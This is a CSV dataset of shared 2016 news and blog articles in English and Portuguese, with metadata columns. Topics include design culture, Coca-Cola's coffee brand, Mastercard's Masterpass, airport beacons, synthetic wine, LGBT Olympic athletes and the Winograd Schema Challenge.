1468538983,CONTENT SHARED,2736373711035411385,3375381077362025672,-5019510800839614020,,,,HTML,http://blog.invisionapp.com/what-is-a-design-culture/,What exactly is a design culture? ,"""Design culture"" is a loaded term-often used, rarely understood. It seems like every company claims to embrace it, but few even understand what it is. Admittedly, it's a difficult phrase to define. Ask 5 different designers to explain design culture, you'll get 5 different answers. Is it about aesthetics? Process? Philosophy? All of the above? Perhaps it means something different for different organizations. While the particulars may change, though, design culture boils down to several overarching, universal themes. Understanding and respect In an organization with a healthy design culture, everyone in the company is taught to understand and respect the value of design . Elsewhere, design is often misunderstood or maligned as being about ""making things look pretty."" When design isn't properly understood or respected, it often plays second fiddle to engineering and business decisions, resulting in poorer outcomes. In a true design culture, the whole team-including and especially non-designers-understands that design is a holistic and process-driven discipline that should be integrated throughout the organization. ""Design culture is about rediscovering the human side of business."" Intentionality ""In a healthy design culture, design is applied to the organization itself."" In a recent interview, Chloe Park of OpenTable described some of the cultural changes that occurred after the company was acquired by the very-corporate Priceline: ""But I think that design has increased the level of intentionality behind the company's culture. I was just talking to another designer about this, and she was commenting about the little things that have changed throughout the office-things that seem so fundamental or basic, but make a difference. We get flower deliveries, for example, and our receptionist separates them into multiple arrangements throughout the office, especially in the larger open spaces where people congregate and talk. We also have this thing where people don't have individual trash cans; we only have group trash cans in open areas, and I've heard that was to get people to come out and talk to each other. Universality/holistic In a healthy design culture, everyone in the organization should feel empowered to participate in the design process. And everyone should be encouraged to apply design thinking to problems that aren't obviously design-related. Freedom to fail ""Everyone in an organization should feel empowered to participate in the design process."" A true design culture recognizes that what happens after an error is more important than the error itself, and values course-correction more than constantly playing it safe. Proactivity Humanity/empathy ""A healthy design culture values course-correction more than constantly playing it safe."" Perhaps there are no measurable gains from developing brand guidelines , or ensuring that an organization's materials all adhere to the same design language. But reducing frustration and making an organization's culture and output a little more pleasant-a little more human-displays a level of care and craft that's worth pursuing on its own merits. Design is becoming an increasingly valued part of all kinds of organizations , from tiny startups to legacy enterprises. We find ourselves in a transitional period, with all the growing pains that go along with it. Plenty of executives in the C-suite know ""design culture"" is something they need, but they don't know what that means and do nothing more than pay it lip service. As designers, we can choose to only work at places that have a strong design culture, but we also have an opportunity to bring those values into new territory. Our way of thinking is becoming increasingly recognized as a huge driver of value (did you hear that design-driven companies outperform the S&P by 228% over 10 years?) and companies are finding that impossible to ignore. We have a chance to spread the values of design throughout the corporate world, making our organizations both more human and more successful. That's a priceless opportunity.",en
1468541706,CONTENT SHARED,4865901874365409673,7774613525190730745,5211047945518314576,,,,HTML,http://g1.globo.com/economia/midia-e-marketing/noticia/2016/07/coca-cola-brasil-entra-no-mercado-de-cafe.html,Coca-Cola Brasil entra no mercado de café,"Empresa entra no segmento por meio da marca brasileira Leão. Café Leão será o 1º da companhia no mundo para o consumo em casa. Coca-Cola Brasil anunciou que lançará em agosto o Café Leão (Foto: Divulgação) A Coca-Cola Brasil anunciou que lançará em agosto o Café Leão, produto com grãos 100% arábica, cultivados, torrados e embalados no país. A iniciativa marca a entrada da empresa no segmento de cafés, por meio da Leão, marca de origem brasileira com 115 anos de atuação no segmento de chás. O Café Leão será o primeiro da companhia no mundo para o consumo em casa. Segundo a Coca-Cola, a produção do Café Leão envolverá uma rede de pequenos e médios cafeicultores do cerrado mineiro e das montanhas do Espírito Santo. O produto estará disponível em duas torras: escura, com a bebida encorpada e equilibrada com aroma e sabor intensos; e média, com aroma e sabor balanceados com dulçor marcante. Inicialmente, o Café Leão será encontrado no Rio de Janeiro, São Paulo e Curitiba, com a previsão de chegar aos principais pontos de venda de todo o país a partir de janeiro de 2017. Em setembro, os consumidores brasileiros também poderão adquirir o Café Leão em canais de e-commerce. O produto está disponível em quatro embalagens: 500g em grãos de torra média, 500g em grãos de torra escura (preço sugerido de R$ 25 cada), 250g moído de torra média e 250g moído de torra escura (preço sugerido de R$ 9,50 cada). Novos produtos A companhia já atua nos segmentos de águas, chás, refrigerantes, néctares, sucos, energéticos e bebidas esportivas, entre sabores regulares e versões de baixa ou zero caloria. A Coca-Cola Brasil está concluindo a compra da Laticínios Verde Campo, de Lavras (MG), e fará sua estreia no segmento de lácteos no país. Na categoria de refrigerantes, a mais recente inovação é a Coca-Cola com Stevia e 50% menos açúcares . O produto tem em sua receita o adoçante natural stevia e metade do açúcar da Coca-Cola original. Junto com a engarrafadora mexicana Coca-Cola Femsa, a The Coca-Cola Company fechou um acordo para a compra do negócio de bebidas à base de soja AdeS na América Latina. A operação está sujeita à aprovação das autoridades regulatórias e ao cumprimento de condições estabelecidas no acordo.",pt
1468543997,CONTENT SHARED,539980615899429566,3915038251784681624,-3038757815052353373,,,,HTML,http://exame.abril.com.br/tecnologia/noticias/mastercard-lanca-rival-do-apple-pay-e-reforma-seu-logo,Mastercard lança rival do Apple Pay e reforma seu logo,"São Paulo - A Mastercard anunciou hoje a expansão de sua tecnologia de pagamentos Masterpass. A carteira eletrônica podia ser usada para compras online. Em um encontro com a imprensa realizado em Nova York, a empresa anunciou que a carteira virtual poderá ser usada também para compras no mundo real. Masterpass poderá ser usado como forma de pagamento em diversas situações. Além das compras feitas pela web, um app permitirá a realização de pagamentos usando smartphones e relógios inteligentes em pontos de venda físicos-uma solução similar ao Apple Pay. Além disso, o consumidor poderá usar a tecnologia para fazer compras em máquinas de venda, chats no Facebook , entre outras situações. ""Você pode estar fisicamente em uma loja ou online no seu computador, pouco importa. Masterpass é uma tecnologia fácil de usar e estará em todos os lugares"", disse Garry Lyons, chefe de inovação da Mastercard, no anúncio. Com a tecnologia, o consumidor será capaz de salvar diversos de seus cartões e escolher com qual quer pagar no momento. Com isso, a Mastercard espera popularizar o uso de uma nova forma de pagamento e deixar o uso dos cartões de plástico cada vez mais secundário. No anúncio, a empresa anunciou que cinco milhões de estabelecimentos em 77 países já têm compatibilidade. A tecnologia chegará inicialmente nos Estados Unidos para usuários de Android no final deste mês. O lançamento está sendo feito em parceria com bancos americanos, entre eles Bank of America e Citi . De acordo com a Mastercard, os próximos mercados que devem receber a atualização do Masterpass, até o final deste ano, são Oriente Médio e África. O restante do mundo, incluindo América Latina, deve ver a chegada da tecnologia entre o final de 2016 e o decorrer de 2017. Durante a apresentação, a Mastercard mostrou números interessante. Estão em funcionamento no mundo 2,3 bilhões de cartões da empresa em 211 países e funcionando em 150 diferentes moedas. A emissão desses cartões é feita por 22 mil bancos ao redor do mundo. Divulgação/Mastercard Nova marca Na coletiva, a Mastercard ainda mostrou sua nova identidade visual. A base do novo logo continua a mesma: os círculos amarelo e vermelho. A sobreposição entre os dois, no entanto, muda. A tipografia usada na grafia da marca também está diferente a partir de agora. As maiúsculas saem, dando espaço somente para letras minúsculas-incluindo a inicial. De acordo com a empresa, 80% dos entrevistados em uma pesquisa eram capazes de reconhecer a marca antiga. Então por que mudar? O objetivo da empresa é ter uma marca mais moderna que reflita o DNA de inovação. A Mastercard não quer ser lembrada como uma empresa de cartões de crédito, mas como uma empresa de tecnologia com foco em pagamentos. A ideia é que a o uso do nome na marca seja abandonado eventualmente. Nessa situação, os dois círculos seriam a marca da empresa, afirmou Raja Rajamannar, chefe de marketing e comunicações da empresa, no anúncio. Acima, você vê o novo (e muito elegante) logo da Mastercard. Veja abaixo um vídeo da nova marca da Mastercard.",pt
1468544041,CONTENT SHARED,-8531951303518498324,-1616903969205976623,6439430300980685505,,,,HTML,http://exame.abril.com.br/marketing/noticias/os-5-maiores-desafios-do-marketing-em-2016,Os 5 maiores desafios do Marketing em 2016 | EXAME.com,"São Paulo - 26 líderes, especialistas e influenciadores em Marketing e Publicidade se reuniram recentemente para o segundo 24 Hour Global Conversation , um evento promovido pela Marketing Society . Em 24 horas de conversas simultâneas ao redor do globo, esses profissionais discutiram os desafios de 2016. A Bloomberg Media fez a cobertura de debates e conversas, divulgados posteriormente pela Brand Republic e pela Campaign Magazine. Do evento, ficaram algumas lições. Entre elas, a de que cinco desafios se colocam como centrais para o mercado nesse ano. Estes são os cinco grandes desafios de 2016: 1. As constantes transformações digitais É essencial para pessoas que trabalham com marketing perceberem que o mundo digital traz mudanças que nunca cessam. Wayne Arnold, diretor global da MullenLowe Profero: "" Uber é a maior companhia de carros do mundo, mas não é dona de nenhum carro. A Amazon é a maior empresa de varejo do mundo, mas não possui nenhuma loja"". Para Alison Orsi, vice-presidente de marketing e comunicação da IBM no Reino Unido, as empresas não podem olhar para o mundo digital e pensar em apenas ""se digitalizar"" e atualizar/adaptar sua infraestrutura. ""É preciso olhar para o mundo digital e ver que ali reside o seu 'próximo passo'"". ""Nossa era é sobre dados e sobre a análise desses dados"". 2. A importância da segurança online Crimes cibernéticos têm potencial crescente de trazer grandes prejuízos aos negócios. Uma empresa sofrer algum tipo de vazamento de dados e informações sigilosas de clientes é algo que pode destruir sua reputação para sempre. Andrew Cocker, diretor sênior de Marketing da Expedia: ""Nosso trabalho é sobre a experiência individual de cada consumidor, não sobre propaganda. Cada detalhe que irrita um deles, precisamos resolver o problema rapidamente, caso contrário estamos deixando nossa marca ruir"". 3. A economia colaborativa Empresas estão ficando mais interconectadas (dentro delas, entre seus funcionários; e no ecossistema, entre outras empresas). Um trabalho multi-disciplinar será a norma. A maioria já percebeu que seu trabalho não pode ser algo isolado. Steve Walker, consultor de marketing: ""Há um diferente tipo de pensamento que as pessoas precisam adotar: pense, primeiro, sobre trabalhar com outras pessoas em vez de tentar resolver tudo sozinho"". 4. A era do consumidor como o centro O consumidor é a chave. E o caminho para as marcas é simplificar ao máximo sua experiência. Entregar isso ao cliente é uma vantagem competitiva. Andrew Cocker: ""Nosso trabalho é deixar a experiência simples, invisível, intuitiva. O desafio é: como antecipar o que o consumidor precisa antes mesmo dele pedir por isso ou se questionar sobre"". 5. A busca por talentos continua Não é exatamente um desafio inédito, mas é algo que continua a perseguir profissionais de marketing: a necessidade de empregar a pessoa certa. Annabel Venner, diretora global de marca da Hiscox, diz que contratar a pessoa certa está no top 1 de suas tarefas de 2016. ""Como continuar a atrair pessoas incríveis e inteligentes para nosso negócio? Como mantê-las?"". Julian Boulding, presidente e fundador da Thenetworkone: ""Antigamente, você era contratado para um cargo sênior por causa do que você sabia ou de quem você conhecia. Hoje, você é contratado pelo quanto você está disposto a aprender"". São Paulo - O modo de fazer negócio não será o mesmo nos próximos cinco anos. Grandes tendências estão mudando o padrão de consumo e comportamento das marcas . Novas tecnologias, apps, realidade virtual, economia solidária: tudo isso está promovendo grande impacto no mercado. O site Mashable conversou com especialistas do Young Entrepreneur Council (YEC). Cada um dos 11 líderes listou alguma tendência-chave no comportamento dos consumidores e no campo da tecnologia. Confira, na galeria de imagens, o que vem pela frente:",pt
1468545174,CONTENT SHARED,-2211174111335280246,-1616903969205976623,6439430300980685505,,,,HTML,http://www.mobiletime.com.br/28/06/2016/aeroporto-do-galeao-e-o-primeiro-da-america-latina-a-ter-app-com-navegacao-indoor/443402/news.aspx,MOBILE TIME - Aeroporto do Galeão é o primeiro da América Latina a ter app com navegação indoor,"Aeroporto do Galeão é o primeiro da América Latina a ter app com navegação indoor O aeroporto internacional do Galeão, no Rio de Janeiro, instalou 3 mil beacons Bluetooth para auxiliar os 45 mil passageiros que transitam no espaço diariamente - no pico das Olimpíadas são esperados 90 mil por dia. Os equipamentos foram instalados a cada 30 metros em toda a área interna dos dois terminais do Galeão. Eles vão se comunicar com o recém-lançado aplicativo RIOgaleão ( Android , iOS ) para permitir navegação indoor e notificações por localização. Os beacons fazem parte parte do plano de reestruturação do aeroporto, que consumiu R$ 2 bilhões em investimento até agora, dos quais R$ 65 milhões destinados a tecnologia, incluindo 600 novos pontos de acesso Wi-Fi, 100 Km de fibra óptica de rede interna, 800 câmeras e infraestrutura de data center. A solução com Wi-Fi e beacons fo desenvolvida pela HPE Aruba e o app contou com a parceria da Accenture. São poucos os aeroportos do mundo que contam com aplicativo móvel próprio e menos ainda aqueles com uma infraestrutura de beacons para navegação pedestrial. Segundo Juan Carlos Urdaneta, da HPE Aruba, o Galeão é o primeiro aeroporto da América Latina a contar com essa tecnologia. Os beacons são pequenos e discretos. A maioria está instalada no teto do aeroporto, junto às luminárias. Através do app, o usuário se localiza em um mapa com a planta do aeroporto e consegue traçar rotas para caminhar até guichês de companhias aéreas, lojas e restaurantes específicos. É necessário que o Bluetooth do aparelho esteja ligado para que o aplicativo possa se comunicar com os beacons. Com os beacons, os administradores do aeroporto poderão analisar o fluxo de passageiros pelos corredores e saguões, monitorando o caminho que seguem dentro das instalações do Galeão, o que pode direcionar reformas futuras e realocamento de serviços. A infraestrutura de beacons será usada também para o envio de mensagens promocionais baseadas na localização do visitante em tempo real, em associação com as lojas do Galeão. Outras ferramentas Além da navegação indoor, o app RIOgaleão traz uma série de outras ferramentas. Uma delas é o acompanhamento em tempo real do status de todos os voos previstos para decolar e pousar no aeroporto. O usuário pode seguir um ou mais voos e receber notificações sobre eles. Também é possível pagar o estacionamento através do aplicativo, escaneando o código de barras com a câmera e digitando os dados do cartão de crédito. Além disso, o Galeão oferece um suporte via chat pelo app que funciona das 7h às 22h, todos os dias da semana. O aplicativo está disponível em português, inglês e espanhol. A administração do Galeão agora negocia com as companhias aéreas para integrar o check-in dentro do aplicativo do aeroporto. Não há nenhuma restrição tecnológica: a única barreira pode ser comercial, já que algumas companhias teriam resistência em dividir com o aeroporto essa parte do relacionamento com o cliente. Wi-Fi A rede Wi-Fi do Galeão conta hoje com 600 hotspots 802.11ac. Antes da privatização do aeroporto eram apenas 100 pontos de acesso, de modelos antigos que não permitiam o handover entre as células, ou seja, o acesso caía enquanto o passageiro caminhava ao longo dos corredores. A nova rede é acessada gratuitamente com um único clique, sem necessidade de cadastro. No futuro, porém, o aeroporto planeja solicitar algum tipo de informação pessoal, podendo ser talve o login via Facebook. Fluxo O Galeão recebe 17 milhões de passageiros por ano. No período das Olimpíadas são esperados 1,5 milhão de visitantes. A expectativa é de que esse fluxo anual suba para 30 milhões ao longo dos próximos anos. O aeroporto é administrado por um consórcio formado pela Odebrecht TransPort, Changi Airport International e Infraero.",pt
1468547711,CONTENT SHARED,2551517430254715046,881856221521045800,2344021668768183390,,,,HTML,http://www.forbes.com/sites/maribellopez/2016/07/14/what-business-leaders-should-know-about-swift/,What Business Leaders Should Know About Swift,"If you're interested in mobile, it's likely that you've followed the latest news from Apple's developer conference. The value of some of these announcements are obvious, such as faster application performance and simpler security. Meanwhile, other developer-centric aspects of the conference were just as valuable, yet the impact wasn't as [...]",en
1468552739,CONTENT SHARED,4597139024287190193,-1032019229384696495,3311154607426495045,,,,HTML,https://techcrunch.com/2016/07/14/ava-wants-to-molecularly-replicate-high-end-wines-no-grapes-necessary/,"Ava wants to molecularly replicate high-end wines, no grapes necessary","You've heard of turning water into wine, but Alec Lee and his founding team of bioengineers have taken to their San Francisco laboratory to turn molecules into wine ""We create the wine without any grapes, yeast, or any kind of fermentation,"" Lee, the founder of Ava Winery , told TechCrunch. Ava does this by analyzing molecular profiles of select wines and reconstructing them as a bioidentical match to more expensive wines like an $11,000 1973 Chateau Montelena Chardonnay ,which essentially put New World wines on the map for the industry. AVA in the wine industry stands for ""AmericanViticultural Area"" and the startup's name plays on it as a wine made in an American lab. But the claim to make wine from a group of bonded atoms sounds a bit like alchemy, but Lee swears his products are the real deal. ""It's essentially just a big chemistry problem,"" he told me before getting ready for his presentation today at IndieBio SF's Demo Day . ""We don't need alchemy to change one kind of molecule to another. You can deconstruct water and replicate it in the lab, for instance."" Right now the startup is focused on replicating three wine clones - a Moscato d'Asti, a Dom Perignon, and just started work on a pinot noir. But quantifying right out of the bottle is tough to do. Lee told me the biggest challenge is figuring out the concentrations of the different molecules. Each wine has between 80 to 200 compounds with both synergistic and anti-synergistic effects all in play to make it taste, feel and look the way it does. ""The goal is to get to a point where you just need a glass worth to identify the molecules,"" Lee said. He sees Ava eventually getting into other luxury goods like chocolate and coffee, but there's a lot of different wines in the world and the main focus is all on cloning the high-end good stuff for now. Regulation will be another hurdle for the startup. Lee isn't even sure he'll be allowed to label his product as wine. ""It's a regulatory dance even though it's essentially wine, biogenetical wine,"" he said. The startup is working on gaining the proper licensing to sell the product right now but says that will be about six months down the road. The team might go the direct-to-consumer route and told me they're also chatting with some big distributors and retailers in the alcohol business to potentially place their wines throughout the world. Ava recently raised $2.5 million in funding from institutional investors with experience in the space but did not want to disclose just yet who those investors are. The founders are presenting their product for the first time to investors, biotech enthusiasts and press at IndieBio SF's demo day today - and, by the way, you can watch the live stream of the event on TechCrunch . They'll be joined by a batch of startups making everything from a better coffee foam to mushroom clothing. ""At a very high level, the way future generations will make food is through synthetics,"" Lee said. ""It's just not sustainable the other way around. Wine is a very unique opportunity for us to legitimize synthetic foods because we can very quickly get to market. A rising tide lifts all boats and wine a great place for us to start."" Featured Image: Shutterstock",en
1468583792,CONTENT SHARED,1283472251609674486,6735372008307093370,-7703542295565354039,,,,HTML,http://ladobi.uol.com.br/2016/07/atletas-lgbt-olimpiadas-rio/,Conheça 20 atletas LGBT que vão competir nas Olimpíadas do Rio,"Em três semanas serão abertos os Jogos Olímpicos do Rio de Janeiro. De um lado, o evento já se destaca por uma marca lamentável: seu orçamento já estourou o originalmente previsto em 51% , desperdiçando 1,6 bilhões de dólares. Mas também contará com um recorde muito positivo: estas serão as olimpíadas com o maior número de atletas declaradamente gays, lésbicas, bissexuais, intersexo ou transgênero da história. O site Outsports realizou um levantamento dos competidores que rumarão para o Rio em agosto e identificou 27 atletas que vivem abertamente sua identidade LGBT . Dentre eles estão 9 homens, outro recorde (atletas masculinos historicamente são mais reticentes a virem a público com sua sexualidade). Há até um casal de lésbicas competindo no mesmo time de hóquei. Confira a seguir 20 desses atletas: Ian Matos - Brasil - Saltos ornamentais Alguns meses depois de Tom Daley, o saltador Ian Matos também veio a público sobre sua sexualidade em entrevista ao blog LGBT do jornal O Dia . Esse paraense de 27 anos já foi 3 vezes campeão brasileiro adulto na prova do trampolim de 1 metro. Em entrevista ao programa de TV Globo Esporte , o saltador contou o que o motivou a falar abertamente sobre sua sexualidade: ""[Fiz isso] para mostrar que você pode ser gay e ser feliz, que isso não te torna melhor nem pior do que ninguém, só diferente da maioria. (...) Nos casos de suicídio entre jovens e adolescentes, a maioria era homossexual que passava por problemas de aceitação, rejeição, ou algo ligado a religião. Então esse movimento de sair do armário é muito importante para mostrar que ser gay não é a pior coisa do mundo."" Larissa França - Brasil - Vôlei de praia Larissa França é natural de Cachoeiro do Itapemirim (ES) e, ao lado da parceira Juliana Silva, conquistou uma posição de destaque no vôlei de praia: venceu sete vezes o Circuito Mundial, duas vezes os Jogos Pan-Americanos e um Campeonato Mundial, em 2011. Em 2012 a dupla conquistou a medalha de bronze. Larissa deu uma pausa na carreira em dezembro de 2012, para realizar o sonho de ser mãe. Casou-se com a também jogadora de vôlei de praia Liliane Maestrini em 2013, e tentou por duas vezes engravidar por inseminação artificial, sem sucesso. Larissa voltou a competir em 2014, agora em dupla com Talita Antunes, com quem se qualificou para os Jogos Olímpicos do Rio de Janeiro. Mayssa Pessoa - Brasil - Handebol Mayssa Pessoa é natural de João Pessoa, e, aos 31 anos, é goleira num time de handebol da Romênia, onde já venceu o campeonato nacional. Com Pessoa, o Brasil conquistou a medalha de ouro no campeonato pan-americano de handebol em 2013 e nos Jogos Pan-Americanos em 2015. Em 2012 aceitou ser madrinha de uma competição LGBT de handebol na França e, em entrevista à revista Têtu , contou que é bissexual. No mesmo ano, durante os Jogos Olímpicos de Londres, criticou o preconceito no mundo do esporte : [O esporte] É muito preconceituoso. Entre os homens, principalmente, muitos têm medo. Mas eu consegui tudo na minha vida e sigo conseguindo, e isso não influenciou. Sou bissexual? Sou. Tenho de aceitar isso, e todas as pessoas me respeitam"". Ela também afirma que há muitos atletas que ainda vivem no armário, mas torce para que ""percebam que estão fazendo mal a si mesmos, e também para as pessoas que amam"". Tom Daley - Reino Unido - Saltos ornamentais Tom Daley ganhou os corações mundiais em 2012, durante os Jogos Olímpicos de Londres. Ao fim das competições, foi para casa com uma medalha de bronze nos saltos de 10 metros e uma legião de fãs. No ano seguinte, ele ganhou também o noticiário internacional ao sair do armário em um vídeo e contar para o público que estava namorando o roteirista Dustin Lance Black. Hoje os dois estão noivos, e entre um treino e outro Daley exibe seu corpinho em vídeos de rotinas de exercícios em seu canal no Youtube . Nicola Adams - Reino Unido - Boxe Há cinco anos que Nicola Adams está entre as melhores boxeadoras do mundo. Quem a vê lutar hoje não imagina que em 2009 seus sonhos quase foram por água abaixo. Nesse ano, a atleta fraturou um osso de suas costas quando tropeçou e rolou escada abaixo, a caminho de seu treino. Adams ficou presa à cama por três meses, e sem treinar por um ano. A boxeadora recuperou-se e, em 2012, tornou-se a primeira atleta declaradamente bissexual a conquistar uma medalha de ouro, durante os Jogos Olímpicos de Londres. Adams acredita que pode servir de exemplo para outros LGBTs: ""Sempre fui uma pessoa aberta, e cheguei à conclusão de que poderia ajudar a outras pessoas se eu falasse sobre tudo"", declarou ao site GayStarNews . ""O tempo todo durante os Jogos Olímpicos eu não nada além de mim mesma. É ser quem eu sou que inspira as pessoas, então vou continuar sendo assim."" Edward Gal - Holanda - Hipismo Edward Gal conquistou um lugar no hall da fama do adestramento hípico ao ganhar medalhas de ouro no Mundial de Hipismo de 2010 e uma medalha de bronze nos Jogos Olímpicos de 2012 em Londres.. Gal é casado com outro atleta do hipismo, o alemão Hans Peter Minderhoud. O casal não compete entre si, pelo contrário: considera uma bênção as carreiras similares: ""É muito divertido estar com alguém que entende exatamente como são as competições e compreende o que você está fazendo"", declarou Minderhoud ao site EuroDressage.com . Victor Gutiérrez - Espanha - Pólo aquático Em maio desse ano, Victor Gutiérrez contou para a revista espanhola Shangay que é gay exatamente por saber que iria competir nas Olimpíadas do Rio. Esse madrilenho de 25 anos argumentou que atletas LGBT devem ser avaliados ""não por sua sexualidade, mas sim por seu mérito esportivo"". Em sua opinião, os atletas LGBT têm a obrigação de viver sua sexualidade abertamente: ""tudo seria muito mais fácil se figuras famosas do esporte dessem esse passo... pois seriam capazes de influenciar a opinião de milhões de pessoas, e realizar mudanças muito mais rapidamente."" Maartje Paumen - Holanda - Hóquei Essa holandesa de 30 anos atua no meio de campo na mesma equipe que ganhou o ouro olímpico em 2008 e 2012. Maartje Paumen atua na seleção holandesa ao lado de sua namorada, Carlien Dirkse van den Heuvel , e outras duas atletas lésbicas. Seimone Augustus - Estados Unidos - Basquete Essa jogadora de 32 anos tem um currículo de dar inveja: venceu o campeonato mundial de basquete de 2014 e duas medalhas de ouro olímpico. Seimone Augustus é uma estrela da WNBA e casou-se em 2015 com LaTaya Varner. Tom Bosworth - Reino Unido - Marcha atlética Tom Bosworth é o campeão britânico de marcha atlética, e veio a público sobre sua sexualidade no ano passado. Bosworth, 26 anos, decidiu contar que é gay para por fim a rumores, conforme se aproximavam as Olimpíadas do Rio. ""Quando competia localmente, anos atrás, outros atletas me chamavam de 'bicha' ou 'viado',"" relatou à BBC. Atualmente, no entanto, conta com todo apoio de seu time. Megan Rapinoe - Estados Unidos - Futebol Durante os jogos olímpicos de Londres, Megan Rapinoe entrou para o seleto time de jogadores de futebol que já marcou um gol olímpico - ou seja, bateu um escantei em curva e fez um gol. Depois de conquistar a medalha de ouro em 2012, Rapinoe declarou-se lésbica em entrevista à revista Out : ""Só para contar, eu sou homossexual. Só não contei antes porque ninguém nunca perguntou diretamente."" Por causa de uma lesão, sua escalação para o time dos EUA nesses jogos olímpicos ainda não está garantida. Ela também atua em grupos de militância LGBT e esportiva. Robbie Manson - Nova Zelândia - Remo Robbie Manson compete no remo desde os 19 anos, e até por causa disso internalizou muita da homofobia e da hipermasculinidade que vem embutida no esporte. ""Eu menosprezava outras pessoas que eram gays... Eu sabia que também era, e me odiava por causa disso"", admitiu em entrevista à Outsports . Manson primeiro contou que é gay para seus familiares, quando tinha 20 anos, e depois para o resto de sua equipe, às vésperas dos Jogos Olímpicos de Londres. ""Para minha surpresa, ninguém viu problema. Eu não recebi nenhuma reação negativa, e a maioria das pessoas fez questão de deixar claro que me apoiava... E eu que pensava que não seria capaz de remar mais se alguém descobrisse"". Em novembro do ano passado ele declarou publicamente sua homossexualidade, após ter se qualificado para os Jogos Olímpicos do Rio de Janeiro. Hedvig Lindahl - Suécia - Futebol A Suécia sonha com o ouro olímpico, e uma das pessoas que sentirão o peso dessa responsabilidade é Hedvig Lindahl, 33 anos, a goleira da seleção sueca. Em 2011 ela casou-se discretamente com Sabine , sua esposa, ""numa pequena igreja de pedras próxima a Kristianstad, junto de nossas famílias. Muitas colegas de time também estavam presentes."" As duas têm um filho, nascido em 2014. Lindahl ganhou o prêmio sueco de goleira do ano em 2004, 2005, 2009, 2014 e 2015. Lisa Dahlkvist - Suécia - Futebol Lisa Dahlkvist é centro-avante da seleção sueca. Depois de passar os Jogos Olímpicos de Pequim no banco de reservas, ela conseguiu entrar em campo durante as Olimpíadas de Londres, antes de sua seleção ser derrotada pela França. Em 2008, ela declarou que é lésbica para uma revista sueca : ""nada mais natural que eu estar junto da mulher que amo. Para mim é mais uma questão da pessoa, eu não me apaixono com um sexo."" Agora casada com Camilla, a jogadora comemora mais uma vitória: Moa, a filha do casal. Caster Semenya - África do Sul - Atletismo Em 2009, essa corredora sul-africana tornou-se razão de polêmica quando a Associação Internacional de Federações de Atletismo (IAAF) exigiu que ela fizesse exames para comprovar que seu sexo biológico era feminino. Quando a história veio a público, a carreira de Semenya sofreu um baque. Em julho de 2010, a IAAF permitiu que Semenya voltasse a competir, e nos Jogos Olímpicos de 2012 ela carregou a bandeira da África do Sul durante a cerimônia de abertura. Seus tempos vêm melhorando cada vez mais. Em 2015, ela casou-se com sua namorada, Violet Raseboya. Angel McCoughtry - Estados Unidos - Basquete Angel McCoughtry usou sua conta no Instagram para declarar publicamente sua homossexualidade. No post, ela contava como seu relacionamento com sua noiva, Brande elise, havia causado rupturas com sua família e seus amigos, e até mesmo colocado em risco sua posição num time de basquete na Turquia. ""Perdemos amigos, e familiares estão chateados - dizem que eu estou desgraçando minha religião! Só sei é que o AMOR é um sentimento incrível."" McCoughtry fez parte da seleção de basquete que conquistou a medalha de ouro para os EUA em 2012. Dutee Chand - Índia - Atletismo No ano passado a corredora Dutee Chand obteve uma grande vitória para a inclusão nos esportes quando a Corte de Arbitragem Esportiva decidiu que apenas os níveis de testosterona não poderiam ser um fator determinante para decidir se uma mulher pode ou não competir. Chand sofre de hiperandroginismo, e havia sido desqualificada dos Jogos da Commonwealth de 2014 na última hora, porque o regulamento barrava atletas mulheres com níveis naturalmente altos de testosterona. Vários ativistas dos direitos civis criticaram a maneira como os testes de Chand foram vazados para o público, violando sua dignidade e privacidade. Dutee Chand é a terceira mulher na história da Índia a se qualificar para os 100 metros rasos nos Jogos Olímpicos. Ari-Pekka Liukkonen - Finlândia - Natação Ari-Pekka Liukkonen detém atualmente o recorde nacional filandês para os 50 metros livres, modalidade em que vai competir nos Jogos Olímpicos do Rio. Em 2014, com a aproximação dos Jogos Olímpicos de Inverno em Sochi, na Rússia, o nadador revelou que é gay no canal de televisão YLE, a fim de trazer a discussão sobre as leis russas contra ""propaganda gay"" para seu país. Na ocasião, ele falou das dificuldades de viver no armário: ""é difícil a longo prazo. Eu sempre tinha que prestar atenção no que eu podia dizer e no que tinha que deixar de falar. Eu quero enfatizar que isso não muda a pessoa que eu sou de nenhuma maneira. Eu ainda sou o mesmo AP, que quer bater o recorde dos 50 metros livres um dia."" Helen Richardson-Walsh e Kate Richardson-Walsh Essas duas atletas são outro exemplo de que a parceria em equipe também pode ser levada para o resto da vida. Kate (36) e Helen (34) fazem parte da seleção britânica. de hóquei, e casaram-se em 2014. Kate, a capitã do time, declarou na época ao canal britânico de TV BBC : ""Nós somos um casal, nos amamos, e calha de jogarmos no mesmo time. Somos muito profissionais. quando estamos no hóquei somos Kate e Helen, jogadoras e colegas de equipe. Longe do hóquei somos Kate e Helen, o casal. Não falamos sobre hóquei em casa. Eu sinto muito orgulho de ter crescido ao redor do hóquei, onde sempre houve várias e diversas etnia, religiões, sexualidades e tudo mais. É normal, e tenho muito orgulho disso."" Durante os Jogos Olímpicos de Londres Kate levou um golpe com um taco de hóquei na cara na primeira partida de sua seleção e fraturou a mandíbula. Apesar das previsões de que isso seria o fim dos Jogos Olímpicos para ela, ela retornou ao campo depois de ficar de fora de apenas duas partidas.",pt
1468584199,CONTENT SHARED,-1734960446580993454,-1443636648652872475,-2724272130715778533,,,,HTML,https://www.technologyreview.com/s/601897/tougher-turing-test-exposes-chatbots-stupidity/?set=601902,A tougher Turing Test shows that computers still have virtually no common sense,"Siri: Okay, from now on I'll call you ""an ambulance."" Apple fixed this error shortly after its virtual assistant was first released in 2011. But a new contest shows that computers still lack the common sense required to avoid such embarrassing mix-ups. The results of the contest were presented at an academic conference in New York this week, and they provide some measure of how much work needs to be done to make computers truly intelligent. Illustration by Max Bode The Winograd Schema Challenge asks computers to make sense of sentences that are ambiguous but usually simple for humans to parse. Disambiguating Winograd Schema sentences requires some common-sense understanding. In the sentence ""The city councilmen refused the demonstrators a permit because they feared violence,"" it is logically unclear who the word ""they"" refers to, although humans understand because of the broader context. The programs entered into the challenge were a little better than random at choosing the correct meaning of sentences. The best two entrants were correct 48 percent of the time, compared to 45 percent if the answers are chosen at random. To be eligible to claim the grand prize of $25,000, entrants would need to achieve at least 90 percent accuracy. The joint best entries came from Quan Liu, a researcher at the University of Science and Technology of China, and Nicos Issak, a researcher from the Open University of Cypress. ""It's unsurprising that machines were barely better than chance,"" says Gary Marcus , a research psychologist at New York University and an advisor to the contest. That's because giving computers common-sense knowledge is notoriously difficult. Hand-coding knowledge is impossibly time-consuming, and it isn't simple for computers to learn about the real world by performing statistical analysis of text. Most of the entrants in the Winograd Schema Challenge try to use some combination of hand-coded grammar understanding and a knowledge base of facts. 